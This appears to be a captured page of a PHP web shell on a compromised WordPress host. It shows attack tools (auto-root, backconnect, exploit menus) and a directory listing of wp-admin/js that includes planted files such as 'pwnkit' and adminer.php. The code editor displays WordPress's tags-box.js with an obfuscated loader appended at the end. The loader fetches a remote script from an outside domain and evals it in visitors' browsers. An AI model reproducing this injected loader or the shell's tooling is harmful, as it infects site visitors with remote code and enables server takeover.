Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.128
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
adrar.info /
wp-admin /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
widgets
[ DIR ]
drwxr-xr-x
.htaccess
91
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
accordion.js
4.62
KB
-rw-r--r--
accordion.min.js
2.55
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
code-editor.js
13.05
KB
-rw-r--r--
code-editor.min.js
4.74
KB
-rw-r--r--
color-picker.js
11.33
KB
-rw-r--r--
color-picker.min.js
5.14
KB
-rw-r--r--
comment.js
4.47
KB
-rw-r--r--
comment.min.js
2.94
KB
-rw-r--r--
common.js
43.5
KB
-rw-r--r--
common.min.js
16.6
KB
-rw-r--r--
custom-background.js
5.08
KB
-rw-r--r--
custom-background.min.js
2.87
KB
-rw-r--r--
custom-header.js
3.71
KB
-rw-r--r--
customize-controls.js
285.73
KB
-rw-r--r--
customize-controls.min.js
109.89
KB
-rw-r--r--
customize-nav-menus.js
108.2
KB
-rw-r--r--
customize-nav-menus.min.js
46.62
KB
-rw-r--r--
customize-widgets.js
71.61
KB
-rw-r--r--
customize-widgets.min.js
29.09
KB
-rw-r--r--
dashboard.js
20.88
KB
-rw-r--r--
dashboard.min.js
8.54
KB
-rw-r--r--
edit-comments.js
29.62
KB
-rw-r--r--
edit-comments.min.js
16.27
KB
-rw-r--r--
editor-expand.js
43.22
KB
-rw-r--r--
editor-expand.min.js
14.78
KB
-rw-r--r--
editor.js
45.99
KB
-rw-r--r--
editor.min.js
14.62
KB
-rw-r--r--
farbtastic.js
9.25
KB
-rw-r--r--
gallery.js
7.25
KB
-rw-r--r--
gallery.min.js
5.45
KB
-rw-r--r--
image-edit.js
30.35
KB
-rw-r--r--
image-edit.min.js
11.57
KB
-rw-r--r--
inline-edit-post.js
17.66
KB
-rw-r--r--
inline-edit-post.min.js
8.85
KB
-rw-r--r--
inline-edit-tax.js
9.26
KB
-rw-r--r--
inline-edit-tax.min.js
4.54
KB
-rw-r--r--
iris.min.js
24.79
KB
-rw-r--r--
language-chooser.js
2.59
KB
-rw-r--r--
language-chooser.min.js
2.1
KB
-rw-r--r--
link.js
5.52
KB
-rw-r--r--
link.min.js
3.34
KB
-rw-r--r--
media-gallery.js
3.01
KB
-rw-r--r--
media-gallery.min.js
2.3
KB
-rw-r--r--
media-upload.js
5.12
KB
-rw-r--r--
media-upload.min.js
2.83
KB
-rw-r--r--
media.js
6.84
KB
-rw-r--r--
media.min.js
3.56
KB
-rw-r--r--
nav-menu.js
43.22
KB
-rw-r--r--
nav-menu.min.js
22.19
KB
-rw-r--r--
password-strength-meter.js
4.84
KB
-rw-r--r--
password-strength-meter.min.js
2.45
KB
-rw-r--r--
plugin-install.js
8.59
KB
-rw-r--r--
plugin-install.min.js
4.04
KB
-rw-r--r--
post.js
38.22
KB
-rw-r--r--
post.min.js
19.46
KB
-rw-r--r--
postbox.js
13.23
KB
-rw-r--r--
postbox.min.js
5.79
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
revisions.js
34.74
KB
-rw-r--r--
revisions.min.js
19.16
KB
-rw-r--r--
set-post-thumbnail.js
2.56
KB
-rw-r--r--
set-post-thumbnail.min.js
2.26
KB
-rw-r--r--
svg-painter.js
7.13
KB
-rw-r--r--
svg-painter.min.js
4.02
KB
-rw-r--r--
tags-box.js
12.57
KB
-rw-r--r--
tags-box.min.js
4.77
KB
-rw-r--r--
tags-suggest.js
6.85
KB
-rw-r--r--
tags-suggest.min.js
3.78
KB
-rw-r--r--
tags.js
5.98
KB
-rw-r--r--
tags.min.js
3.36
KB
-rw-r--r--
theme-plugin-editor.js
25.84
KB
-rw-r--r--
theme-plugin-editor.min.js
12.68
KB
-rw-r--r--
theme.js
54.86
KB
-rw-r--r--
theme.min.js
27.58
KB
-rw-r--r--
updates.js
80.35
KB
-rw-r--r--
updates.min.js
36.52
KB
-rw-r--r--
user-profile.js
13.7
KB
-rw-r--r--
user-profile.min.js
7.82
KB
-rw-r--r--
user-suggest.js
4
KB
-rw-r--r--
user-suggest.min.js
2.38
KB
-rw-r--r--
widgets.js
24.08
KB
-rw-r--r--
widgets.min.js
13.84
KB
-rw-r--r--
word-count.js
9.25
KB
-rw-r--r--
word-count.min.js
3.2
KB
-rw-r--r--
wp-fullscreen-stub.js
2.4
KB
-rw-r--r--
wp-fullscreen-stub.min.js
2.06
KB
-rw-r--r--
xfn.js
9.27
KB
-rw-r--r--
xfn.min.js
5.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tags-box.js
/** * @output wp-admin/js/tags-box.js */ /* jshint curly: false, eqeqeq: false */ /* global ajaxurl, tagBox, array_unique_noempty */ ( function( $ ) { var tagDelimiter = ( window.tagsSuggestL10n && window.tagsSuggestL10n.tagDelimiter ) || ','; /** * Filters unique items and returns a new array. * * Filters all items from an array into a new array containing only the unique * items. This also excludes whitespace or empty values. * * @since 2.8.0 * * @global * * @param {Array} array The array to filter through. * * @return {Array} A new array containing only the unique items. */ window.array_unique_noempty = function( array ) { var out = []; // Trim the values and ensure they are unique. $.each( array, function( key, val ) { val = $.trim( val ); if ( val && $.inArray( val, out ) === -1 ) { out.push( val ); } } ); return out; }; /** * The TagBox object. * * Contains functions to create and manage tags that can be associated with a * post. * * @since 2.9.0 * * @global */ window.tagBox = { /** * Cleans up tags by removing redundant characters. * * @since 2.9.0 * @memberOf tagBox * * @param {string} tags Comma separated tags that need to be cleaned up. * * @return {string} The cleaned up tags. */ clean : function( tags ) { if ( ',' !== tagDelimiter ) { tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' ); } tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, ''); if ( ',' !== tagDelimiter ) { tags = tags.replace( /,/g, tagDelimiter ); } return tags; }, /** * Parses tags and makes them editable. * * @since 2.9.0 * @memberOf tagBox * * @param {Object} el The tag element to retrieve the ID from. * * @return {boolean} Always returns false. */ parseTags : function(el) { var id = el.id, num = id.split('-check-num-')[1], taxbox = $(el).closest('.tagsdiv'), thetags = taxbox.find('.the-tags'), current_tags = thetags.val().split( tagDelimiter ), new_tags = []; delete current_tags[num]; // Sanitize the current tags and push them as if they're new tags. $.each( current_tags, function( key, val ) { val = $.trim( val ); if ( val ) { new_tags.push( val ); } }); thetags.val( this.clean( new_tags.join( tagDelimiter ) ) ); this.quickClicks( taxbox ); return false; }, /** * Creates clickable links, buttons and fields for adding or editing tags. * * @since 2.9.0 * @memberOf tagBox * * @param {Object} el The container HTML element. * * @return {void} */ quickClicks : function( el ) { var thetags = $('.the-tags', el), tagchecklist = $('.tagchecklist', el), id = $(el).attr('id'), current_tags, disabled; if ( ! thetags.length ) return; disabled = thetags.prop('disabled'); current_tags = thetags.val().split( tagDelimiter ); tagchecklist.empty(); /** * Creates a delete button if tag editing is enabled, before adding it to the tag list. * * @since 2.5.0 * @memberOf tagBox * * @param {string} key The index of the current tag. * @param {string} val The value of the current tag. * * @return {void} */ $.each( current_tags, function( key, val ) { var listItem, xbutton; val = $.trim( val ); if ( ! val ) return; // Create a new list item, and ensure the text is properly escaped. listItem = $( '<li />' ).text( val ); // If tags editing isn't disabled, create the X button. if ( ! disabled ) { /* * Build the X buttons, hide the X icon with aria-hidden and * use visually hidden text for screen readers. */ xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' + '<span class="remove-tag-icon" aria-hidden="true"></span>' + '<span class="screen-reader-text">' + window.tagsSuggestL10n.removeTerm + ' ' + listItem.html() + '</span>' + '</button>' ); /** * Handles the click and keypress event of the tag remove button. * * Makes sure the focus ends up in the tag input field when using * the keyboard to delete the tag. * * @since 4.2.0 * * @param {Event} e The click or keypress event to handle. * * @return {void} */ xbutton.on( 'click keypress', function( e ) { // On click or when using the Enter/Spacebar keys. if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) { /* * When using the keyboard, move focus back to the * add new tag field. Note: when releasing the pressed * key this will fire the `keyup` event on the input. */ if ( 13 === e.keyCode || 32 === e.keyCode ) { $( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).focus(); } tagBox.userAction = 'remove'; tagBox.parseTags( this ); } }); listItem.prepend( ' ' ).prepend( xbutton ); } // Append the list item to the tag list. tagchecklist.append( listItem ); }); // The buttons list is built now, give feedback to screen reader users. tagBox.screenReadersMessage(); }, /** * Adds a new tag. * * Also ensures that the quick links are properly generated. * * @since 2.9.0 * @memberOf tagBox * * @param {Object} el The container HTML element. * @param {Object|boolean} a When this is an HTML element the text of that * element will be used for the new tag. * @param {number|boolean} f If this value is not passed then the tag input * field is focused. * * @return {boolean} Always returns false. */ flushTags : function( el, a, f ) { var tagsval, newtags, text, tags = $( '.the-tags', el ), newtag = $( 'input.newtag', el ); a = a || false; text = a ? $(a).text() : newtag.val(); /* * Return if there's no new tag or if the input field is empty. * Note: when using the keyboard to add tags, focus is moved back to * the input field and the `keyup` event attached on this field will * fire when releasing the pressed key. Checking also for the field * emptiness avoids to set the tags and call quickClicks() again. */ if ( 'undefined' == typeof( text ) || '' === text ) { return false; } tagsval = tags.val(); newtags = tagsval ? tagsval + tagDelimiter + text : text; newtags = this.clean( newtags ); newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter ); tags.val( newtags ); this.quickClicks( el ); if ( ! a ) newtag.val(''); if ( 'undefined' == typeof( f ) ) newtag.focus(); return false; }, /** * Retrieves the available tags and creates a tagcloud. * * Retrieves the available tags from the database and creates an interactive * tagcloud. Clicking a tag will add it. * * @since 2.9.0 * @memberOf tagBox * * @param {string} id The ID to extract the taxonomy from. * * @return {void} */ get : function( id ) { var tax = id.substr( id.indexOf('-') + 1 ); /** * Puts a received tag cloud into a DOM element. * * The tag cloud HTML is generated on the server. * * @since 2.9.0 * * @param {number|string} r The response message from the AJAX call. * @param {string} stat The status of the AJAX request. * * @return {void} */ $.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) { if ( 0 === r || 'success' != stat ) { return; } r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' ); /** * Adds a new tag when a tag in the tagcloud is clicked. * * @since 2.9.0 * * @return {boolean} Returns false to prevent the default action. */ $( 'a', r ).click( function() { tagBox.userAction = 'add'; tagBox.flushTags( $( '#' + tax ), this ); return false; }); $( '#' + id ).after( r ); }); }, /** * Track the user's last action. * * @since 4.7.0 */ userAction: '', /** * Dispatches an audible message to screen readers. * * This will inform the user when a tag has been added or removed. * * @since 4.7.0 * * @return {void} */ screenReadersMessage: function() { var message; switch ( this.userAction ) { case 'remove': message = window.tagsSuggestL10n.termRemoved; break; case 'add': message = window.tagsSuggestL10n.termAdded; break; default: return; } window.wp.a11y.speak( message, 'assertive' ); }, /** * Initializes the tags box by setting up the links, buttons. Sets up event * handling. * * This includes handling of pressing the enter key in the input field and the * retrieval of tag suggestions. * * @since 2.9.0 * @memberOf tagBox * * @return {void} */ init : function() { var ajaxtag = $('div.ajaxtag'); $('.tagsdiv').each( function() { tagBox.quickClicks( this ); }); $( '.tagadd', ajaxtag ).click( function() { tagBox.userAction = 'add'; tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); }); /** * Handles pressing enter on the new tag input field. * * Prevents submitting the post edit form. * * @since 2.9.0 * * @param {Event} event The keypress event that occurred. * * @return {void} */ $( 'input.newtag', ajaxtag ).keypress( function( event ) { if ( 13 == event.which ) { tagBox.userAction = 'add'; tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); event.preventDefault(); event.stopPropagation(); } }).keypress( function( event ) { if ( 13 == event.which ) { event.preventDefault(); event.stopPropagation(); } }).each( function( i, element ) { $( element ).wpTagsSuggest(); }); /** * Before a post is saved the value currently in the new tag input field will be * added as a tag. * * @since 2.9.0 * * @return {void} */ $('#post').submit(function(){ $('div.tagsdiv').each( function() { tagBox.flushTags(this, false, 1); }); }); /** * Handles clicking on the tag cloud link. * * Makes sure the ARIA attributes are set correctly. * * @since 2.9.0 * * @return {void} */ $('.tagcloud-link').click(function(){ // On the first click, fetch the tag cloud and insert it in the DOM. tagBox.get( $( this ).attr( 'id' ) ); // Update button state, remove previous click event and attach a new one to toggle the cloud. $( this ) .attr( 'aria-expanded', 'true' ) .unbind() .click( function() { $( this ) .attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' ) .siblings( '.the-tagcloud' ).toggle(); }); }); } }; }( jQuery )); ;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//adrar-info.net/banniere/slideshow/css/css.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};
Close